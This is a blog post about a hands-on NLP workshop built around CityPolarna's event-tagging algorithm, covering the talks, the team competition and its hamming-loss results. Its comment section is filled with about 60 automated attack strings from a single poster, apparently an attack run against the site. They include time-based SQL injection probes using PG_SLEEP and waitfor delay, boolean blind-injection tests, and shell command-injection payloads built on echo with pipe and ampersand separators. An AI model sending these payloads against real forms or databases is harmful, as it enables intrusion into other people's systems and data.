NLP and tagging: text analytics and predictions on natural language

The year started on a techy note with the first hands-on event on Natural Language Processing! The event was built around CityPolarna.​se’s event-tagging algorithm and our quest to produce a better one. Johan’s CityPolarna is an event website where everyone can host an event and attend others’ in order to do fun things in their area and meet new friends - not unlike Barrel.​ai but on a larger scale. The events that are created are suggested with a set of tags so that searchability increases for likeminded people. The thought was here to use Natural Language Processing, NLP, in order to create a predictive model on what tags each event should be assigned with.​

The event started out with a review of the basics of NLP by Oscar to bring everyone up to speed on the techniques and glossary, some real cases from previous consulting assignments as well as the basics of building NLP pipelines with preprocessing and model creation. Johan then took over and gave us the back story of CityPolarna and a deeper look into the data and the previously built algorithm for tagging of events.​

Some pizza slizes later and we were down to business: the laboration was of course set out as a competition where every team go to choose different pre-processing methods on the text data and then an algorithm of their choice.​

Winner was team 42 (bob) who ended up on a score of 0.​0307, where the original model performed at 0.​0404 on the hamming_loss. Congratulations! All teams had a good run and the lab sparked some great discussions on hamming loss vs. accuracy and the importance of how the preprocessing is done as it lays the fundation for prediction accuracy. NLP is a vast area to cover and it is definitely not the last time we will be coding on this subject.​

See you next time!

This event was sponsered by NordAxon, a company focusing on locally produced AI and Machine Learning in the Øresund region. www.​nordaxon.​com



- Johan Broddfelt
NLP, workshop, tagging

<< Kaggleton, Sound recognition

Comment

Name
Mail (Not public)
Send mail uppdates on new comments

Comments

68 posts found

|echo hkiskk$() eaudyunz^xyu||a #' |echo hkiskk$() eaudyunz^xyu||a #|" |echo hkiskk$() eaudyunz^xyu||a #

2026-06-08 18:57:54 - wUmrLVWz

&echo vebuod$() wnqnqanz^xyu||a #' &echo vebuod$() wnqnqanz^xyu||a #|" &echo vebuod$() wnqnqanz^xyu||a #

2026-06-08 18:57:53 - wUmrLVWz

echo hdjdrn$() dkzbqknz^xyu||a #' &echo hdjdrn$() dkzbqknz^xyu||a #|" &echo hdjdrn$() dkzbqknz^xyu||a #

2026-06-08 18:57:44 - wUmrLVWz

6s4J5BRz')) OR 122=​(SELECT 122 FROM PG_SLEEP(12))--

2026-06-08 18:19:24 - wUmrLVWz

EWzQoJKe') OR 539=​(SELECT 539 FROM PG_SLEEP(12))--

2026-06-08 18:19:17 - wUmrLVWz

hhmedlqz' OR 887=​(SELECT 887 FROM PG_SLEEP(12))--

2026-06-08 18:19:06 - wUmrLVWz

-1)) OR 702=​(SELECT 702 FROM PG_SLEEP(12))--

2026-06-08 18:18:55 - wUmrLVWz

-5) OR 13=​(SELECT 13 FROM PG_SLEEP(12))--

2026-06-08 18:18:48 - wUmrLVWz

-5 OR 715=​(SELECT 715 FROM PG_SLEEP(12))--

2026-06-08 18:18:39 - wUmrLVWz

GHWlRCdW'; waitfor delay '0:0:12' --

2026-06-08 18:18:30 - wUmrLVWz

1 waitfor delay '0:0:12' --

2026-06-08 18:18:22 - wUmrLVWz

-1); waitfor delay '0:0:12' --

2026-06-08 18:18:12 - wUmrLVWz

-1; waitfor delay '0:0:12' --

2026-06-08 18:18:03 - wUmrLVWz

-1" OR 3+570-570-1=​0+0+0+1 --

2026-06-08 18:17:21 - wUmrLVWz

-1" OR 2+570-570-1=​0+0+0+1 --

2026-06-08 18:17:18 - wUmrLVWz

-1' OR 3+733-733-1=​0+0+0+1 or 'giiJGqoo'=​'

2026-06-08 18:17:16 - wUmrLVWz

-1' OR 2+733-733-1=​0+0+0+1 or 'giiJGqoo'=​'

2026-06-08 18:17:14 - wUmrLVWz

-1' OR 3+928-928-1=​0+0+0+1 --

2026-06-08 18:17:13 - wUmrLVWz

-1' OR 2+928-928-1=​0+0+0+1 --

2026-06-08 18:17:11 - wUmrLVWz

-1 OR 3+60-60-1=​0+0+0+1

2026-06-08 18:17:09 - wUmrLVWz

-1 OR 2+60-60-1=​0+0+0+1

2026-06-08 18:17:07 - wUmrLVWz

-1 OR 3+629-629-1=​0+0+0+1 --

2026-06-08 18:17:04 - wUmrLVWz

-1 OR 2+629-629-1=​0+0+0+1 --

2026-06-08 18:17:01 - wUmrLVWz

|echo fnolly$() aafixanz^xyu||a #' |echo fnolly$() aafixanz^xyu||a #|" |echo fnolly$() aafixanz^xyu||a #

2026-06-08 16:31:05 - wUmrLVWz

&echo pfemnz$() decoesnz^xyu||a #' &echo pfemnz$() decoesnz^xyu||a #|" &echo pfemnz$() decoesnz^xyu||a #

2026-06-08 16:31:04 - wUmrLVWz

echo tecqox$() iwpvdbnz^xyu||a #' &echo tecqox$() iwpvdbnz^xyu||a #|" &echo tecqox$() iwpvdbnz^xyu||a #

2026-06-08 16:31:03 - wUmrLVWz

336P1fd0')) OR 189=​(SELECT 189 FROM PG_SLEEP(12))--

2026-06-08 16:30:08 - wUmrLVWz

PYqNaCjm') OR 953=​(SELECT 953 FROM PG_SLEEP(12))--

2026-06-08 16:30:06 - wUmrLVWz

uEeDxCwH' OR 701=​(SELECT 701 FROM PG_SLEEP(12))--

2026-06-08 16:30:05 - wUmrLVWz

-1)) OR 258=​(SELECT 258 FROM PG_SLEEP(12))--

2026-06-08 16:30:02 - wUmrLVWz

-5) OR 437=​(SELECT 437 FROM PG_SLEEP(12))--

2026-06-08 16:30:00 - wUmrLVWz

-5 OR 120=​(SELECT 120 FROM PG_SLEEP(12))--

2026-06-08 16:29:57 - wUmrLVWz

HhkZpv8u'; waitfor delay '0:0:12' --

2026-06-08 16:29:54 - wUmrLVWz

1 waitfor delay '0:0:12' --

2026-06-08 16:29:53 - wUmrLVWz

-1); waitfor delay '0:0:12' --

2026-06-08 16:29:50 - wUmrLVWz

-1; waitfor delay '0:0:12' --

2026-06-08 16:29:47 - wUmrLVWz

-1" OR 3*2>(0+5+166-166) --

2026-06-08 16:29:31 - wUmrLVWz

-1" OR 3*2<(0+5+166-166) --

2026-06-08 16:29:29 - wUmrLVWz

-1" OR 3+166-166-1=​0+0+0+1 --

2026-06-08 16:29:25 - wUmrLVWz

-1" OR 2+166-166-1=​0+0+0+1 --

2026-06-08 16:29:24 - wUmrLVWz

-1' OR 3*2>(0+5+742-742) or 'vNmXUNkx'=​'

2026-06-08 16:29:16 - wUmrLVWz

-1' OR 3*2<(0+5+742-742) or 'vNmXUNkx'='

2026-06-08 16:29:15 - wUmrLVWz

-1' OR 3+742-742-1=​0+0+0+1 or 'vNmXUNkx'=​'

2026-06-08 16:29:11 - wUmrLVWz

-1' OR 2+742-742-1=​0+0+0+1 or 'vNmXUNkx'=​'

2026-06-08 16:29:05 - wUmrLVWz

-1' OR 3*2>(0+5+420-420) --

2026-06-08 16:29:00 - wUmrLVWz

-1' OR 3*2<(0+5+420-420) --

2026-06-08 16:28:59 - wUmrLVWz

-1' OR 3+420-420-1=​0+0+0+1 --

2026-06-08 16:28:55 - wUmrLVWz

-1' OR 2+420-420-1=​0+0+0+1 --

2026-06-08 16:28:51 - wUmrLVWz

-1 OR 3*2>(0+5+21-21)

2026-06-08 16:28:49 - wUmrLVWz

-1 OR 3*2<(0+5+21-21)

2026-06-08 16:28:48 - wUmrLVWz

-1 OR 3+21-21-1=​0+0+0+1

2026-06-08 16:28:47 - wUmrLVWz

-1 OR 2+21-21-1=​0+0+0+1

2026-06-08 16:28:45 - wUmrLVWz

-1 OR 3*2>(0+5+850-850) --

2026-06-08 16:28:43 - wUmrLVWz

-1 OR 3*2<(0+5+850-850) --

2026-06-08 16:28:41 - wUmrLVWz

-1 OR 3+850-850-1=​0+0+0+1 --

2026-06-08 16:28:37 - wUmrLVWz

-1 OR 2+850-850-1=​0+0+0+1 --

2026-06-08 16:28:36 - wUmrLVWz